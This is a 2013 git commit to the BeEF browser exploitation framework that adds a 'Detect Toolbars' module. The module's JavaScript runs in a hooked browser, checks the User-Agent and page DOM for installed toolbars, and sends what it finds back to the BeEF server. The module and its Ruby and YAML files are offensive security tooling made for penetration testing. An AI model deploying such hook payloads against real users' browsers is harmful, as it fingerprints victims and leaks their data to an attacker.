Module: Detect Toolbars

Added a module to detect browser toolbars by checking the User-Agent
and the DOM
This commit is contained in:
gcatt
2013-01-31 09:20:32 +01:00
parent 9c6802cd8f
commit daadf59782
4 changed files with 97 additions and 1 deletions

7
.gitignore vendored
View File

@@ -1,3 +1,8 @@
beef.db
test/msf-test
custom-config.yaml
custom-config.yaml
.DS_Store
.gitignore
.gitignore

View File

@@ -0,0 +1,61 @@
//
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var toolbar_ua = new Array (
new Array (" Alexa Toolbar", " Alexa"),
new Array (" AskTbS-PV", " Ask"),
new Array (" BRI", " Bing"),
new Array (" GTB", " Google"),
new Array (" SU ", " Stumble Upon")
)
var toolbar_id = new Array (
new Array ("AlexaCustomScriptId", " Alexa")
)
var result = '';
var separator = ", ";
// CHECK USER-AGENT
for (var i = 0; i < toolbar_ua.length; i++) {
var agentRegex = new RegExp( toolbar_ua[i][0], 'g' );
if ( agentRegex.exec(navigator.userAgent) ) {
result += toolbar_ua[i][1] + separator;
}
}
// CHECK ELEMENT ID (DOM)
for (var i = 0; i < toolbar_id.length; i++) {
var element = document.getElementById( toolbar_id[i][0] );
if ( typeof(element) != 'undefined' && element != null ) {
result += toolbar_id[i][1] + separator;
}
}
// ENDING
if ( result != '' ) {
result = result.slice(0, -separator.length);
} else if ( result == '' ) {
result = " no toolbars detected";
}
beef.net.send("<%= @command_url %>", <%= @command_id %>, "toolbars="+result);
});

View File

@@ -0,0 +1,16 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
Detect_toolbars:
enable: true
category: "Browser"
name: "Detect Toolbars"
description: "Detects which browser toolbars are installed."
authors: ["gcattani"]
target:
working: ["All"]
not_working: ["None"]

View File

@@ -0,0 +1,14 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Detect_toolbars < BeEF::Core::Command
def post_execute
content = {}
content['toolbars'] = @datastore['toolbars']
save content
end
end